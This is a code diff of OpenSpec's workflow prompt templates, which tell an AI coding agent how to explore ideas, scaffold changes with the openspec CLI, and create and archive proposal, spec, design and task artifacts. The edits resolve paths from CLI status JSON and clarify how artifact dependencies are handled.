@@ export function getOpsxExploreCommandTemplate(): CommandTemplate { tags: ['workflow', 'explore', 'experimental', 'thinking'], content: `Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes. -**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, and investigate the codebase, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create OpenSpec artifacts (proposals, designs, specs) if the user asks—that's capturing thinking, not implementing. +**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, and investigate the codebase, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create OpenSpec artifacts (proposals, designs, specs) if the user asks—that's capturing thinking, not implementing. For a new change, scaffold it first as described below. **This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore. +${STORE_SELECTION_GUIDANCE} + **Input**: The argument after \`/opsx:explore\` is whatever the user wants to think about. Could be: - A vague idea: "real-time collaboration" - A specific problem: "the auth system is getting unwieldy" @@ -388,6 +410,12 @@ This tells you: - Their names, schemas, and status - What the user might be working on +Then read the project's own context from the resolved root - \`<root.path>/openspec/config.yaml\` (or \`config.yml\`). Use the \`root.path\` returned above, and skip this if neither file exists: +- \`context\`: project background - tech stack, conventions, constraints +- \`rules\`: keyed by artifact id - the entries for an artifact apply only when you write that artifact + +Ground your thinking in these. They are constraints for you to follow, not content to reproduce: do NOT copy them into the conversation or into any artifact you create. + If the user mentioned a specific change name, read its artifacts for context. ### When no change exists @@ -397,15 +425,23 @@ Think freely. When insights crystallize, you might offer: - "This feels solid enough to start a change. Want me to create a proposal?" - Or keep exploring - no pressure to formalize +If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture: + +1. Run \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) before creating any artifacts. Never create a new change directory under \`openspec/changes/\` by hand; the CLI scaffold creates required metadata such as \`.openspec.yaml\`. Keep the selected \`--store <id>\` on every applicable follow-up \`status\` and \`instructions\` command. +2. Run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is \`ready\`, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own \`instruction\` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run \`openspec instructions "<prerequisite-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) for that prerequisite whether it is \`ready\` or \`blocked\`. If its own \`instruction\` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves. +3. Follow the returned \`template\` and \`instruction\` fields. Read completed dependency files listed in \`dependencies\`, and apply \`context\` and \`rules\` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to \`resolvedOutputPath\`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists. +4. After creating each artifact, re-run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) and continue until every requested artifact is \`done\`, \`skipped\`, or was deliberately skipped because its own \`instruction\` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still \`blocked\` only because you deliberately skipped a conditional prerequisite, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture. + +Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. + ### When a change exists If the user mentions a change or you detect one is relevant: -1. **Read existing artifacts for context** - - \`openspec/changes/<name>/proposal.md\` - - \`openspec/changes/<name>/design.md\` - - \`openspec/changes/<name>/tasks.md\` - - etc. +1. **Resolve and read existing artifacts for context** + - Run \`openspec status --change "<name>" --json\`. + - Use \`changeRoot\`, \`artifactPaths\`, and \`actionContext\` from the status JSON. + - Read existing files from \`artifactPaths.<artifact>.existingOutputPaths\`. 2. **Reference them naturally in conversation** - "Your design mentions using Redis, but we just realized SQLite fits better..." @@ -413,14 +449,16 @@ If the user mentions a change or you detect one is relevant: 3. **Offer to capture when decisions are made** - | Insight Type | Where to Capture | - |----------------------------|--------------------------------| - | New requirement discovered | \`specs/<capability>/spec.md\` | - | Requirement changed | \`specs/<capability>/spec.md\` | - | Design decision made | \`design.md\` | - | Scope changed | \`proposal.md\` | - | New work identified | \`tasks.md\` | - | Assumption invalidated | Relevant artifact | + \`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve an existing capability's full path and follow the project's established organization for new capabilities. + + | Insight Type | Where to Capture | + |----------------------------|-------------------------------------| + | New requirement discovered | \`specs/<capability-path>/spec.md\` | + | Requirement changed | \`specs/<capability-path>/spec.md\` | + | Design decision made | \`design.md\` | + | Scope changed | \`proposal.md\` | + | New work identified | \`tasks.md\` | + | Assumption invalidated | Relevant artifact | Example offers: - "That's a design decision. Capture it in design.md?" @@ -462,6 +500,7 @@ When things crystallize, you might offer a summary - but it's optional. Sometime - **Don't rush** - Discovery is thinking time, not task time - **Don't force structure** - Let patterns emerge naturally - **Don't auto-capture** - Offer to save insights, don't just do it +- **Don't manually scaffold changes** - Never create a new change directory under \`openspec/changes/\` by hand. Always use \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) so required metadata such as \`.openspec.yaml\` is created before writing artifacts. - **Do visualize** - A good diagram is worth many paragraphs - **Do explore the codebase** - Ground discussions in reality - **Do question assumptions** - Including the user's and your own` diff --git a/src/core/templates/workflows/ff-change.ts b/src/core/templates/workflows/ff-change.ts index 9e02983be0..1a3f036ba2 100644 --- a/src/core/templates/workflows/ff-change.ts +++ b/src/core/templates/workflows/ff-change.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getFfChangeSkillTemplate(): SkillTemplate { return { @@ -12,13 +13,15 @@ export function getFfChangeSkillTemplate(): SkillTemplate { description: 'Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually.', instructions: `Fast-forward through artifact creation - generate everything needed to start implementation in one go. +${STORE_SELECTION_GUIDANCE} + **Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build. **Steps** 1. **If no clear input provided, ask what they want to build** - Use the **AskUserQuestion tool** (open-ended, no preset options) to ask: + Ask the user (open-ended, no preset options): > "What change do you want to work on? Describe what you want to build or fix." From their description, derive a kebab-case name (e.g., "add user authentication" → \`add-user-auth\`). @@ -29,7 +32,7 @@ export function getFfChangeSkillTemplate(): SkillTemplate { \`\`\`bash openspec new change "<name>" \`\`\` - This creates a scaffolded change at \`openspec/changes/<name>/\`. + This creates a scaffolded change in the planning home resolved by the CLI. 3. **Get the artifact build order** \`\`\`bash @@ -37,11 +40,12 @@ export function getFfChangeSkillTemplate(): SkillTemplate { \`\`\` Parse the JSON to get: - \`applyRequires\`: array of artifact IDs needed before implementation (e.g., \`["tasks"]\`) - - \`artifacts\`: list of all artifacts with their status and dependencies + - \`artifacts\`: list of all artifacts, each with its \`status\` and its \`requires\` edges (the artifact IDs it directly depends on) + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. -4. **Create artifacts in sequence until apply-ready** +4. **Create every artifact in the required set** - Use the **TodoWrite tool** to track progress through the artifacts. + Use a todo list to track progress through the artifacts. Loop through artifacts in dependency order (artifacts with no pending dependencies first): @@ -55,20 +59,27 @@ export function getFfChangeSkillTemplate(): SkillTemplate { - \`rules\`: Artifact-specific rules (constraints for you - do NOT include in output) - \`template\`: The structure to use for your output file - \`instruction\`: Schema-specific guidance for this artifact type - - \`outputPath\`: Where to write the artifact + - \`skipped\`/\`warning\`: present when the change declares skip_specs and this artifact must NOT be created - stop and pick another artifact + - \`resolvedOutputPath\`: Resolved path or pattern to write the artifact - \`dependencies\`: Completed artifacts to read for context - - Read any completed dependency files for context - - Create the artifact file using \`template\` as the structure + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the \`instruction\` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at \`resolvedOutputPath\` + - Otherwise create the artifact file using \`template\` as the structure and write it to \`resolvedOutputPath\`. If \`resolvedOutputPath\` is a glob, follow \`instruction\` to choose the concrete file path - Apply \`context\` and \`rules\` as constraints - but do NOT copy them into the file - Show brief progress: "✓ Created <artifact-id>" - b. **Continue until all \`applyRequires\` artifacts are complete** + b. **Continue until every artifact in the required set exists (not just \`apply.requires\`)** - After creating each artifact, re-run \`openspec status --change "<name>" --json\` - - Check if every artifact ID in \`applyRequires\` has \`status: "done"\` in the artifacts array - - Stop when all \`applyRequires\` artifacts are done + - The required set is \`applyRequires\` plus every artifact reachable from those by following the \`requires\` edges in \`status --json\` - walk them transitively (spec-driven closes over proposal, specs, design, tasks). Leave artifacts outside that set alone + - \`status\` is file-existence only, so an \`applyRequires\` artifact reading \`done\` does NOT mean its dependencies exist - writing \`tasks.md\` early marks \`tasks\` done while \`specs\` was never written. Use each artifact's \`requires\` edges, not its \`status\`, to build the required set: a \`done\` artifact still lists what it depends on + - An artifact already reading \`status: "skipped"\` is satisfied: the change declares \`skip_specs\` in \`.openspec.yaml\`, so its files must NOT exist. Never try to create one + - Create every artifact in the required set that is missing, then re-check - creating one can unblock others + - Skip one only when \`status\` already reports it \`skipped\`, or when its own \`instruction\` says it is conditional: run \`openspec instructions <artifact-id> --change "<name>" --json\` and skip only if its \`instruction\` field marks it optional (e.g. "create only if..."). Spec-driven's \`design.md\` qualifies; \`specs\` qualifies only via the \`skipped\` status above, never by your own judgment. Tell the user, and do not reconsider it + - Dependencies are enablers, not gates: if a required artifact is still \`blocked\` only because you skipped a conditional dependency, write it anyway + - Stop when every artifact in the required set is \`done\`, \`skipped\`, or was deliberately skipped c. **If an artifact requires user input** (unclear context): - - Use **AskUserQuestion tool** to clarify + - Ask the user to clarify - Then continue with creation 5. **Show final status** @@ -80,13 +91,14 @@ export function getFfChangeSkillTemplate(): SkillTemplate { After completing all artifacts, summarize: - Change name and location -- List of artifacts created with brief descriptions -- What's ready: "All artifacts created! Ready for implementation." +- List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why +- What's ready: "All artifacts needed for implementation are ready." - Prompt: "Run \`/opsx:apply\` or ask me to implement to start working on the tasks." **Artifact Creation Guidelines** -- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type +- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type - it is the authoritative guidance, even for familiar artifact names +- If the \`instruction\` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly - The schema defines what each artifact should contain - follow it - Read dependency artifacts for context before creating new ones - Use \`template\` as the structure for your output file - fill in its sections @@ -95,8 +107,8 @@ After completing all artifacts, summarize: - These guide what you write, but should never appear in the output **Guardrails** -- Create ALL artifacts needed for implementation (as defined by schema's \`apply.requires\`) -- Always read dependency artifacts before creating a new one +- Create every artifact the apply phase transitively depends on, not just the ids listed in \`apply.requires\` +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) - If context is critically unclear, ask the user - but prefer making reasonable decisions to keep momentum - If a change with that name already exists, suggest continuing that change instead - Verify each artifact file exists after writing before proceeding to next`, @@ -114,13 +126,15 @@ export function getOpsxFfCommandTemplate(): CommandTemplate { tags: ['workflow', 'artifacts', 'experimental'], content: `Fast-forward through artifact creation - generate everything needed to start implementation. +${STORE_SELECTION_GUIDANCE} + **Input**: The argument after \`/opsx:ff\` is the change name (kebab-case), OR a description of what the user wants to build. **Steps** 1. **If no input provided, ask what they want to build** - Use the **AskUserQuestion tool** (open-ended, no preset options) to ask: + Ask the user (open-ended, no preset options): > "What change do you want to work on? Describe what you want to build or fix." From their description, derive a kebab-case name (e.g., "add user authentication" → \`add-user-auth\`). @@ -131,7 +145,7 @@ export function getOpsxFfCommandTemplate(): CommandTemplate { \`\`\`bash openspec new change "<name>" \`\`\` - This creates a scaffolded change at \`openspec/changes/<name>/\`. + This creates a scaffolded change in the planning home resolved by the CLI. 3. **Get the artifact build order** \`\`\`bash @@ -139,11 +153,12 @@ export function getOpsxFfCommandTemplate(): CommandTemplate { \`\`\` Parse the JSON to get: - \`applyRequires\`: array of artifact IDs needed before implementation (e.g., \`["tasks"]\`) - - \`artifacts\`: list of all artifacts with their status and dependencies + - \`artifacts\`: list of all artifacts, each with its \`status\` and its \`requires\` edges (the artifact IDs it directly depends on) + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. -4. **Create artifacts in sequence until apply-ready** +4. **Create every artifact in the required set** - Use the **TodoWrite tool** to track progress through the artifacts. + Use a todo list to track progress through the artifacts. Loop through artifacts in dependency order (artifacts with no pending dependencies first): @@ -157,20 +172,27 @@ export function getOpsxFfCommandTemplate(): CommandTemplate { - \`rules\`: Artifact-specific rules (constraints for you - do NOT include in output) - \`template\`: The structure to use for your output file - \`instruction\`: Schema-specific guidance for this artifact type - - \`outputPath\`: Where to write the artifact + - \`skipped\`/\`warning\`: present when the change declares skip_specs and this artifact must NOT be created - stop and pick another artifact + - \`resolvedOutputPath\`: Resolved path or pattern to write the artifact - \`dependencies\`: Completed artifacts to read for context - - Read any completed dependency files for context - - Create the artifact file using \`template\` as the structure + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the \`instruction\` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at \`resolvedOutputPath\` + - Otherwise create the artifact file using \`template\` as the structure and write it to \`resolvedOutputPath\`. If \`resolvedOutputPath\` is a glob, follow \`instruction\` to choose the concrete file path - Apply \`context\` and \`rules\` as constraints - but do NOT copy them into the file - Show brief progress: "✓ Created <artifact-id>" - b. **Continue until all \`applyRequires\` artifacts are complete** + b. **Continue until every artifact in the required set exists (not just \`apply.requires\`)** - After creating each artifact, re-run \`openspec status --change "<name>" --json\` - - Check if every artifact ID in \`applyRequires\` has \`status: "done"\` in the artifacts array - - Stop when all \`applyRequires\` artifacts are done + - The required set is \`applyRequires\` plus every artifact reachable from those by following the \`requires\` edges in \`status --json\` - walk them transitively (spec-driven closes over proposal, specs, design, tasks). Leave artifacts outside that set alone + - \`status\` is file-existence only, so an \`applyRequires\` artifact reading \`done\` does NOT mean its dependencies exist - writing \`tasks.md\` early marks \`tasks\` done while \`specs\` was never written. Use each artifact's \`requires\` edges, not its \`status\`, to build the required set: a \`done\` artifact still lists what it depends on + - An artifact already reading \`status: "skipped"\` is satisfied: the change declares \`skip_specs\` in \`.openspec.yaml\`, so its files must NOT exist. Never try to create one + - Create every artifact in the required set that is missing, then re-check - creating one can unblock others + - Skip one only when \`status\` already reports it \`skipped\`, or when its own \`instruction\` says it is conditional: run \`openspec instructions <artifact-id> --change "<name>" --json\` and skip only if its \`instruction\` field marks it optional (e.g. "create only if..."). Spec-driven's \`design.md\` qualifies; \`specs\` qualifies only via the \`skipped\` status above, never by your own judgment. Tell the user, and do not reconsider it + - Dependencies are enablers, not gates: if a required artifact is still \`blocked\` only because you skipped a conditional dependency, write it anyway + - Stop when every artifact in the required set is \`done\`, \`skipped\`, or was deliberately skipped c. **If an artifact requires user input** (unclear context): - - Use **AskUserQuestion tool** to clarify + - Ask the user to clarify - Then continue with creation 5. **Show final status** @@ -182,13 +204,14 @@ export function getOpsxFfCommandTemplate(): CommandTemplate { After completing all artifacts, summarize: - Change name and location -- List of artifacts created with brief descriptions -- What's ready: "All artifacts created! Ready for implementation." +- List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why +- What's ready: "All artifacts needed for implementation are ready." - Prompt: "Run \`/opsx:apply\` to start implementing." **Artifact Creation Guidelines** -- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type +- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type - it is the authoritative guidance, even for familiar artifact names +- If the \`instruction\` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly - The schema defines what each artifact should contain - follow it - Read dependency artifacts for context before creating new ones - Use \`template\` as the structure for your output file - fill in its sections @@ -197,8 +220,8 @@ After completing all artifacts, summarize: - These guide what you write, but should never appear in the output **Guardrails** -- Create ALL artifacts needed for implementation (as defined by schema's \`apply.requires\`) -- Always read dependency artifacts before creating a new one +- Create every artifact the apply phase transitively depends on, not just the ids listed in \`apply.requires\` +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) - If context is critically unclear, ask the user - but prefer making reasonable decisions to keep momentum - If a change with that name already exists, ask if user wants to continue it or create a new one - Verify each artifact file exists after writing before proceeding to next` diff --git a/src/core/templates/workflows/new-change.ts b/src/core/templates/workflows/new-change.ts index 10017422f9..e45858abbc 100644 --- a/src/core/templates/workflows/new-change.ts +++ b/src/core/templates/workflows/new-change.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getNewChangeSkillTemplate(): SkillTemplate { return { @@ -12,13 +13,15 @@ export function getNewChangeSkillTemplate(): SkillTemplate { description: 'Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach.', instructions: `Start a new change using the experimental artifact-driven approach. +${STORE_SELECTION_GUIDANCE} + **Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build. **Steps** 1. **If no clear input provided, ask what they want to build** - Use the **AskUserQuestion tool** (open-ended, no preset options) to ask: + Ask the user (open-ended, no preset options): > "What change do you want to work on? Describe what you want to build or fix." From their description, derive a kebab-case name (e.g., "add user authentication" → \`add-user-auth\`). @@ -40,13 +43,13 @@ export function getNewChangeSkillTemplate(): SkillTemplate { openspec new change "<name>" \`\`\` Add \`--schema <name>\` only if the user requested a specific workflow. - This creates a scaffolded change at \`openspec/changes/<name>/\` with the selected schema. + This creates a scaffolded change in the planning home resolved by the CLI. 4. **Show the artifact status** \`\`\`bash - openspec status --change "<name>" + openspec status --change "<name>" --json \`\`\` - This shows which artifacts need to be created and which are ready (dependencies satisfied). + Use the returned \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`nextSteps\` instead of assuming repo-local paths. 5. **Get instructions for the first artifact** The first artifact depends on the schema (e.g., \`proposal\` for spec-driven). @@ -87,13 +90,15 @@ export function getOpsxNewCommandTemplate(): CommandTemplate { tags: ['workflow', 'artifacts', 'experimental'], content: `Start a new change using the experimental artifact-driven approach. +${STORE_SELECTION_GUIDANCE} + **Input**: The argument after \`/opsx:new\` is the change name (kebab-case), OR a description of what the user wants to build. **Steps** 1. **If no input provided, ask what they want to build** - Use the **AskUserQuestion tool** (open-ended, no preset options) to ask: + Ask the user (open-ended, no preset options): > "What change do you want to work on? Describe what you want to build or fix." From their description, derive a kebab-case name (e.g., "add user authentication" → \`add-user-auth\`). @@ -115,13 +120,13 @@ export function getOpsxNewCommandTemplate(): CommandTemplate { openspec new change "<name>" \`\`\` Add \`--schema <name>\` only if the user requested a specific workflow. - This creates a scaffolded change at \`openspec/changes/<name>/\` with the selected schema. + This creates a scaffolded change in the planning home resolved by the CLI. 4. **Show the artifact status** \`\`\`bash - openspec status --change "<name>" + openspec status --change "<name>" --json \`\`\` - This shows which artifacts need to be created and which are ready (dependencies satisfied). + Use the returned \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`nextSteps\` instead of assuming repo-local paths. 5. **Get instructions for the first artifact** The first artifact depends on the schema. Check the status output to find the first artifact with status "ready". diff --git a/src/core/templates/workflows/onboard.ts b/src/core/templates/workflows/onboard.ts index 65218e1659..743c71ff8d 100644 --- a/src/core/templates/workflows/onboard.ts +++ b/src/core/templates/workflows/onboard.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getOnboardSkillTemplate(): SkillTemplate { return { @@ -20,6 +21,8 @@ export function getOnboardSkillTemplate(): SkillTemplate { function getOnboardInstructions(): string { return `Guide the user through their first complete OpenSpec workflow cycle. This is a teaching experience—you'll do real work in their codebase while explaining each step. +${STORE_SELECTION_GUIDANCE} + --- ## Preflight @@ -176,7 +179,7 @@ Now let's create a change to hold our work. \`\`\` ## Creating a Change -A "change" in OpenSpec is a container for all the thinking and planning around a piece of work. It lives in \`openspec/changes/<name>/\` and holds your artifacts—proposal, specs, design, tasks. +A "change" in OpenSpec is a container for all the thinking and planning around a piece of work. It lives at the \`changeRoot\` reported by \`openspec status --change "<name>" --json\` and holds your artifacts—proposal, specs, design, tasks. Let me create one for our task. \`\`\` @@ -188,11 +191,11 @@ openspec new change "<derived-name>" **SHOW:** \`\`\` -Created: \`openspec/changes/<name>/\` +Created: <changeRoot from status JSON> The folder structure: \`\`\` -openspec/changes/<name>/ +<changeRoot>/ ├── proposal.md ← Why we're doing this (empty, we'll fill it) ├── design.md ← How we'll build it (empty) ├── specs/ ← Detailed requirements (empty) @@ -217,6 +220,11 @@ I'll draft one based on our task. **DO:** Draft the proposal content (don't save yet): +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, +\`user-auth\` or \`identity/user-auth\`). Use the exact existing path for modified +capabilities. For new capabilities, follow the project's established spec +organization. + \`\`\` Here's a draft proposal: @@ -233,10 +241,11 @@ Here's a draft proposal: ## Capabilities ### New Capabilities -- \`<capability-name>\`: [brief description] +- \`<capability-path>\`: [brief description] ### Modified Capabilities <!-- If modifying existing behavior --> +- \`<existing-capability-path>\`: [brief description] ## Impact @@ -254,7 +263,7 @@ After approval, save the proposal: \`\`\`bash openspec instructions proposal --change "<name>" --json \`\`\` -Then write the content to \`openspec/changes/<name>/proposal.md\`. +Then write the content to the \`resolvedOutputPath\` from \`openspec instructions proposal --change "<name>" --json\`. \`\`\` Proposal saved. This is your "why" document—you can always come back and refine it as understanding evolves. @@ -275,12 +284,10 @@ Specs define **what** we're building in precise, testable terms. They use a requ For a small task like this, we might only need one spec file. \`\`\` -**DO:** Create the spec file: +**DO:** Resolve where the spec file should be created: \`\`\`bash -# Unix/macOS -mkdir -p openspec/changes/<name>/specs/<capability-name> -# Windows (PowerShell) -# New-Item -ItemType Directory -Force -Path "openspec/changes/<name>/specs/<capability-name>" +openspec instructions specs --change "<name>" --json +# Use resolvedOutputPath from the JSON. If it is a glob, choose the concrete file path using the schema instruction and the change's context. \`\`\` Draft the spec content: @@ -307,7 +314,7 @@ Here's the spec: This format—WHEN/THEN/AND—makes requirements testable. You can literally read them as test cases. \`\`\` -Save to \`openspec/changes/<name>/specs/<capability>/spec.md\`. +Save to the concrete file path chosen from \`resolvedOutputPath\`. --- @@ -352,7 +359,7 @@ Here's the design: For a small task, this captures the key decisions without over-engineering. \`\`\` -Save to \`openspec/changes/<name>/design.md\`. +Save to the \`resolvedOutputPath\` from \`openspec instructions design --change "<name>" --json\`. --- @@ -390,7 +397,7 @@ Each checkbox becomes a unit of work in the apply phase. Ready to implement? **PAUSE** - Wait for user to confirm they're ready to implement. -Save to \`openspec/changes/<name>/tasks.md\`. +Save to the \`resolvedOutputPath\` from \`openspec instructions tasks --change "<name>" --json\`. --- @@ -434,19 +441,19 @@ The change is implemented! One more step—let's archive it. \`\`\` ## Archiving -When a change is complete, we archive it. This moves it from \`openspec/changes/\` to \`openspec/changes/archive/YYYY-MM-DD-<name>/\`. +When a change is complete, we archive it. The archive path is derived from \`planningHome.changesDir\` and the date. Archived changes become your project's decision history—you can always find them later to understand why something was built a certain way. \`\`\` -**DO:** +**DO:** Archive the change (\`--yes\` answers the confirmation prompts, which you cannot answer from a tool call): \`\`\`bash -openspec archive "<name>" +openspec archive "<name>" --yes \`\`\` **SHOW:** \`\`\` -Archived to: \`openspec/changes/archive/YYYY-MM-DD-<name>/\` +Archived to: \`<planningHome.changesDir>/archive/<target-name>/\` (the target name prepends today's date, unless the name already starts with a \`YYYY-MM-DD-\` prefix — then it is kept as-is, no second date) The change is now part of your project's history. The code is in your codebase, the decision record is preserved. \`\`\` @@ -484,7 +491,7 @@ This same rhythm works for any size change—a small fix or a major feature. | \`/opsx:apply\` | Implement tasks from a change | | \`/opsx:archive\` | Archive a completed change | -**Additional commands:** +**Additional commands** (only if installed - availability depends on your profile): | Command | What it does | |--------------------|----------------------------------------------------------| @@ -509,10 +516,10 @@ Try \`/opsx:propose\` on something you actually want to build. You've got the rh If the user says they need to stop, want to pause, or seem disengaged: \`\`\` -No problem! Your change is saved at \`openspec/changes/<name>/\`. +No problem! Your change is saved at the \`changeRoot\` reported by \`openspec status --change "<name>" --json\`. To pick up where we left off later: -- \`/opsx:continue <name>\` - Resume artifact creation +- \`/opsx:continue <name>\` - Resume artifact creation (if installed; otherwise \`openspec status --change "<name>" --json\` shows the next artifact) - \`/opsx:apply <name>\` - Jump to implementation (if tasks exist) The work won't be lost. Come back whenever you're ready. @@ -536,7 +543,7 @@ If the user says they just want to see the commands or skip the tutorial: | \`/opsx:apply <name>\` | Implement tasks | | \`/opsx:archive <name>\` | Archive when done | -**Additional commands:** +**Additional commands** (only if installed - availability depends on your profile): | Command | What it does | |---------------------------|-------------------------------------| diff --git a/src/core/templates/workflows/propose.ts b/src/core/templates/workflows/propose.ts index 74a9ce2d01..a47c8ea64c 100644 --- a/src/core/templates/workflows/propose.ts +++ b/src/core/templates/workflows/propose.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getOpsxProposeSkillTemplate(): SkillTemplate { return { @@ -12,45 +13,74 @@ export function getOpsxProposeSkillTemplate(): SkillTemplate { description: 'Propose a new change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation.', instructions: `Propose a new change - create the change and generate all artifacts in one step. -I'll create a change with artifacts: +**Planning boundary**: This workflow creates planning artifacts only. The user request that selected or triggered this workflow authorizes planning only, even if it asks to build or fix something. Do not edit project code. After the planning artifacts are complete, stop. Do not start implementation in the same response, even if the initial request asks for it. Wait for a new user request after the artifacts are presented; then start the apply workflow. + +I'll create a change with the artifacts your schema defines. With the default spec-driven schema that is: - proposal.md (what & why) +- \`specs/<capability-path>/spec.md\` (what the system must do - a delta, not the main spec) - design.md (how) - tasks.md (implementation steps) -When ready to implement, run /opsx:apply +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve an existing capability's full path and follow the project's established organization for new capabilities. + +When the user is ready to implement, they must start the apply workflow explicitly. --- +${STORE_SELECTION_GUIDANCE} + **Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build. **Steps** -1. **If no clear input provided, ask what they want to build** +1. **Understand the request and clarify material ambiguity** - Use the **AskUserQuestion tool** (open-ended, no preset options) to ask: + If no clear input is provided, ask the user (open-ended, no preset options): > "What change do you want to work on? Describe what you want to build or fix." From their description, derive a kebab-case name (e.g., "add user authentication" → \`add-user-auth\`). **IMPORTANT**: Do NOT proceed without understanding what the user wants to build. -2. **Create the change directory** + If the request contains ambiguity that would materially affect scope, externally observable behavior, compatibility, or acceptance criteria, ask the user before creating the change. For minor details, make a reasonable assumption and record it in the planning artifacts. + +2. **Determine the workflow schema** + + Use the configured default schema unless the user explicitly requests a different workflow. + + **Use a different schema only if the user:** + - Explicitly requests a specific schema by name → use \`--schema <schema-name>\` + - Asks to "show workflows" or asks "what workflows" exist → resolve the authoritative root by running \`openspec context --json\` from the current working directory. If the user explicitly selected a registered store, use \`openspec context --json --store "<store-id>"\`. Then run \`openspec schemas --json\` with its working directory set to the returned \`root.path\` and let them choose. This preserves roots selected by a local \`store:\` pointer or the global \`defaultStore\`; \`schemas\` does not accept \`--store\`. If context reports only \`no_openspec_root\`, run \`openspec schemas --json\` from the current working directory instead. Do not use this fallback for invalid or unavailable stores. + + Otherwise, omit \`--schema\` to preserve the configured default. + +3. **Create the change directory** + + Choose one schema form below. If a registered store is selected, append \`--store "<store-id>"\` to that command and each later OpenSpec command shown below that accepts \`--store\`. + + Using the configured default: \`\`\`bash openspec new change "<name>" \`\`\` - This creates a scaffolded change at \`openspec/changes/<name>/\` with \`.openspec.yaml\`. -3. **Get the artifact build order** + Using an explicitly requested schema: + \`\`\`bash + openspec new change "<name>" --schema "<schema-name>" + \`\`\` + This creates a scaffolded change in the planning home resolved by the CLI with \`.openspec.yaml\`. + +4. **Get the artifact build order** \`\`\`bash openspec status --change "<name>" --json \`\`\` Parse the JSON to get: - \`applyRequires\`: array of artifact IDs needed before implementation (e.g., \`["tasks"]\`) - - \`artifacts\`: list of all artifacts with their status and dependencies + - \`artifacts\`: list of all artifacts, each with its \`status\` and its \`requires\` edges (the artifact IDs it directly depends on) + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. -4. **Create artifacts in sequence until apply-ready** +5. **Create every artifact in the required set** - Use the **TodoWrite tool** to track progress through the artifacts. + Use a todo list to track progress through the artifacts. Loop through 